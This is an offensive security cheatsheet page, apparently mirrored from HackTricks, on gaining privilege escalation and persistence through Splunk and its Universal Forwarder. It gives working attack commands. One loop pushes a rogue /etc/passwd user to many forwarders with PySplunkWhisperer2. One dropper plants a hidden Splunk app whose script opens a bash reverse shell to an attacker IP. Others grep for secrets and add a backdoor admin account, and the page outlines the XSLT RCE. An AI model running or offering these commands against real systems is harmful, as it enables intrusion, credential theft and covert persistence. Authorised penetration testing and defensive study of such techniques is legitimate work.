repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
splunk-lpe-and-persistence.mdMarkdown195 lines12.8 KiBrendered raw download
---
title: "Splunk LPE and Persistence"
section: "Linux"
sectionSlug: "linux-hardening"
sourcePath: "src/linux-hardening/software-information/splunk-lpe-and-persistence.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/splunk-lpe-and-persistence.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---

# Splunk LPE and Persistence

If **enumerating** a machine **internally** or **externally** you find **Splunk running** (usually **8000** for the web UI and **8089** for the management API), valid credentials can often be turned into **code execution** through app installation, scripted inputs, or management actions.<sup>[[1]](#references)[[5]](#references)[[6]](#references)[[10]](#references)</sup> If Splunk is running as **root**, that frequently becomes an immediate **privilege escalation**.<sup>[[1]](#references)</sup>

If you only need the generic remote attack surface, enumeration, or app-upload RCE path, check:

[8089 Splunkd](/hacktricks/network-services-pentesting/8089-splunkd)

If you are **already root** and the Splunk service is not listening only on localhost, you can also steal **Splunk password hashes**, recover **encrypted secrets**, or push a **malicious app** to keep persistence locally or across multiple forwarders.<sup>[[7]](#references)[[8]](#references)[[11]](#references)</sup>

## Interesting Local Files

When you land on a host running Splunk or Splunk Universal Forwarder, these are usually the most interesting paths:<sup>[[7]](#references)[[8]](#references)[[9]](#references)[[10]](#references)[[11]](#references)</sup>

```bash
export SPLUNK_HOME=/opt/splunk
[ -d /opt/splunkforwarder ] && export SPLUNK_HOME=/opt/splunkforwarder

find "$SPLUNK_HOME/etc" -maxdepth 4 \( -name passwd -o -name authentication.conf -o -name user-seed.conf -o -name inputs.conf -o -name app.conf -o -name serverclass.conf -o -name outputs.conf -o -name splunk.secret \) 2>/dev/null

grep -RniE 'pass4SymmKey|sslPassword|bindDNPassword|clear_password|token' "$SPLUNK_HOME/etc" 2>/dev/null
```

Important artifacts:

- **`$SPLUNK_HOME/etc/passwd`**: local Splunk users and password hashes.<sup>[[7]](#references)</sup>
- **`$SPLUNK_HOME/etc/auth/splunk.secret`**: key used by Splunk to encrypt secrets stored in several `.conf` files.<sup>[[8]](#references)</sup>
- **`$SPLUNK_HOME/etc/system/local/user-seed.conf`**: initial admin bootstrap file; useful in gold images and provisioning mistakes. It is ignored if `etc/passwd` already exists.<sup>[[9]](#references)</sup>
- **`$SPLUNK_HOME/etc/apps/*/{default,local}/inputs.conf`**: where scripted inputs are commonly enabled.<sup>[[10]](#references)</sup>
- **`$SPLUNK_HOME/etc/deployment-apps/`** or **`$SPLUNK_HOME/etc/apps/`**: good places to hide a persistent app or review what is already being distributed.<sup>[[11]](#references)</sup>

## Splunk Universal Forwarder Agent Exploit Summary

For further details check [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a summary.<sup>[[1]](#references)</sup>

**Exploit overview:**
An exploit targeting the Splunk Universal Forwarder (UF) allows attackers with the **agent password** to execute arbitrary code on systems running the agent, potentially compromising a large portion of the environment.<sup>[[1]](#references)</sup>

**Why it works:**

- The UF management service is commonly exposed on **TCP 8089**.<sup>[[6]](#references)</sup>
- Attackers can authenticate to the API and instruct the forwarder to install a **malicious app bundle**.<sup>[[1]](#references)[[5]](#references)</sup>
- The same primitive can be used locally for **LPE** or remotely for **RCE**.<sup>[[5]](#references)</sup>
- Public tooling such as **SplunkWhisperer2** creates the app bundle automatically and can adapt payloads for Linux targets.<sup>[[5]](#references)</sup>

**Common ways to recover the password:**

- Cleartext credentials in documentation, scripts, shares, or deployment automation.<sup>[[1]](#references)</sup>
- Password hashes inside `$SPLUNK_HOME/etc/passwd` followed by offline cracking.<sup>[[1]](#references)[[7]](#references)</sup>
- Golden images or provisioning leftovers such as `user-seed.conf`.<sup>[[1]](#references)[[9]](#references)</sup>

**Impact:**

- SYSTEM/root-level code execution on each compromised host.<sup>[[1]](#references)</sup>
- Deployment of persistent apps, backdoors, or ransomware.<sup>[[1]](#references)</sup>
- Disabling or tampering with telemetry before the data is forwarded.<sup>[[1]](#references)</sup>

**Example command for exploitation:**

The original report demonstrates the following loop for sending a payload to multiple forwarders.<sup>[[1]](#references)</sup>

```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```

**Usable public exploits:**

- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)

## Persistence via Scripted Inputs or Malicious Apps

If you have **filesystem write access** as `root`/`splunk`, or authenticated access to install apps, a very reliable persistence mechanism is to drop a **custom app** with a **scripted input**.<sup>[[2]](#references)[[5]](#references)[[10]](#references)</sup> Splunk's own documentation expects scripted inputs to live under an app directory and be enabled from `inputs.conf`.<sup>[[10]](#references)</sup>

Typical layout:

```bash
/opt/splunk/etc/apps/.linux_audit/
├── bin/check.sh
└── default/inputs.conf
```

Minimal `inputs.conf`:<sup>[[10]](#references)</sup>

```ini
[script://$SPLUNK_HOME/etc/apps/.linux_audit/bin/check.sh]
disabled = 0
interval = 60
sourcetype = auditd
```

Quick Linux dropper (using that documented app layout):<sup>[[10]](#references)</sup>

```bash
APP="$SPLUNK_HOME/etc/apps/.linux_audit"
mkdir -p "$APP/bin" "$APP/default"
printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"\n' > "$APP/bin/check.sh"
printf '[script://$SPLUNK_HOME/etc/apps/.linux_audit/bin/check.sh]\ndisabled = 0\ninterval = 60\n' > "$APP/default/inputs.conf"
chmod +x "$APP/bin/check.sh"
"$SPLUNK_HOME/bin/splunk" restart
```

Notes:

- The same trick works on **Universal Forwarder** using `/opt/splunkforwarder/etc/apps/`.<sup>[[2]](#references)[[10]](#references)</sup>
- Attackers often blend in by modifying a legitimate add-on instead of creating an obviously malicious app.<sup>[[2]](#references)</sup>
- On a **deployment server**, planting a malicious app inside `deployment-apps/` turns into **fleet-wide persistence** because forwarders poll, download updated apps, and often restart to apply them.<sup>[[11]](#references)[[12]](#references)</sup>

## Credential Theft and Admin Takeover

If you can read Splunk's local files, there are usually two good goals: recover **Splunk admin access** and recover **encrypted service credentials**.<sup>[[8]](#references)</sup>

### Password hashes and local users

Splunk stores local authentication data in `etc/passwd`. Depending on the deployment, cracking that file can recover working credentials for the web UI and the management API.<sup>[[1]](#references)[[7]](#references)</sup>

If you already have valid **admin** credentials and Splunk uses its **native** authentication backend, the CLI itself can be used for persistence.<sup>[[13]](#references)</sup>

```bash
"$SPLUNK_HOME/bin/splunk" edit user admin -password 'Winter2026!' -auth admin:'OldPassword!'
"$SPLUNK_HOME/bin/splunk" add user svc_backup -password 'Winter2026!' -role admin -auth admin:'OldPassword!'
```

### `splunk.secret` and encrypted values

Splunk uses `etc/auth/splunk.secret` to protect sensitive values stored in multiple configuration files. If you can steal both the **secret** and the relevant **`.conf` files**, you can often recover or replay:<sup>[[8]](#references)</sup>

- forwarder/indexer shared secrets such as `pass4SymmKey`
- TLS private-key passwords such as `sslPassword`
- LDAP bind credentials such as `bindDNPassword`

This can support **lateral movement** even when the Splunk admin password itself is not crackable.<sup>[[8]](#references)</sup>

### `user-seed.conf` abuse

`user-seed.conf` is only consumed during first start or when `etc/passwd` does not exist. That makes it less useful on a live box, but very interesting in:<sup>[[9]](#references)</sup>

- compromised installation templates
- container images
- unattended provisioning workflows
- appliances where Splunk is reinitialized automatically

In those cases, planting a `HASHED_PASSWORD` generated with `splunk hash-passwd` gives you a quiet way to regain admin access after redeployment.<sup>[[9]](#references)</sup>

## Abusing Splunk Queries

For further details check [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis).<sup>[[3]](#references)[[4]](#references)</sup>

A useful recent technique is abusing **user-supplied XSLT** in vulnerable Splunk Enterprise versions to turn a low-privileged authenticated account into **OS command execution** as the `splunk` user.<sup>[[3]](#references)[[4]](#references)</sup>

High-level flow:<sup>[[3]](#references)[[4]](#references)</sup>

1. Authenticate to Splunk.
2. Upload a malicious **XSL** file through the preview/upload functionality.
3. Make Splunk render search results with that uploaded stylesheet from the **dispatch** directory.
4. Use the XSLT payload to write a file or trigger execution through Splunk's search pipeline (for example by reaching internal functionality such as `runshellscript`).

The important offensive takeaway is that this path is **post-auth RCE without needing app upload**. On Linux it usually lands you in the **`splunk`** account, which is still valuable because that user often owns the application tree, can read secrets, and can plant persistent apps that survive shell loss.<sup>[[3]](#references)[[4]](#references)</sup>

A representative path used during exploitation is:<sup>[[4]](#references)</sup>

```text
/opt/splunk/var/run/splunk/dispatch/<sid>/shell.xsl
```

If Splunk is running with too many privileges, or if the `splunk` user has access to dangerous scripts, writable service units, or bad `sudo` rules, this becomes a clean **LPE** chain.

## References

- [1] [Abusing Splunk Forwarders For RCE And Persistence](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)
- [2] [Beware of TraitorWare: Using Splunk for Persistence](https://www.huntress.com/blog/beware-of-traitorware-using-splunk-for-persistence)
- [3] [Splunk Security Advisory SVD-2023-1104 – XSLT Injection RCE (CVE-2023-46214)](https://advisory.splunk.com/advisories/SVD-2023-1104)
- [4] [CVE-2023-46214 Analysis: Splunk XSLT Injection RCE](https://blog.hrncirik.net/cve-2023-46214-analysis)
- [5] [SplunkWhisperer2/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [6] [Change default values](https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.2/start-splunk-enterprise-and-perform-initial-tasks/change-default-values)
- [7] [authentication.conf](https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/configuration-file-reference/10.4.0-configuration-file-reference/authentication.conf)
- [8] [Deploy secure passwords across multiple servers](https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/install-splunk-enterprise-securely/deploy-secure-passwords-across-multiple-servers)
- [9] [user-seed.conf](https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/9.2/configuration-file-reference/9.2.6-configuration-file-reference/user-seed.conf)
- [10] [Setting up a scripted input](https://help.splunk.com/en/splunk-enterprise/developing-views-and-apps-for-splunk-web/10.0/build-scripted-inputs/setting-up-a-scripted-input)
- [11] [Create deployment apps](https://help.splunk.com/splunk-enterprise/administer/update-your-deployment/9.4/configure-the-deployment-system/create-deployment-apps)
- [12] [How deployment updates happen](https://help.splunk.com/en/splunk-enterprise/administer/update-your-deployment/9.2/deployment-server-and-forwarder-management/how-deployment-updates-happen)
- [13] [Configure users with the CLI](https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/9.4/perform-advanced-user-and-role-management-in-splunk-enterprise/configure-users-with-the-cli)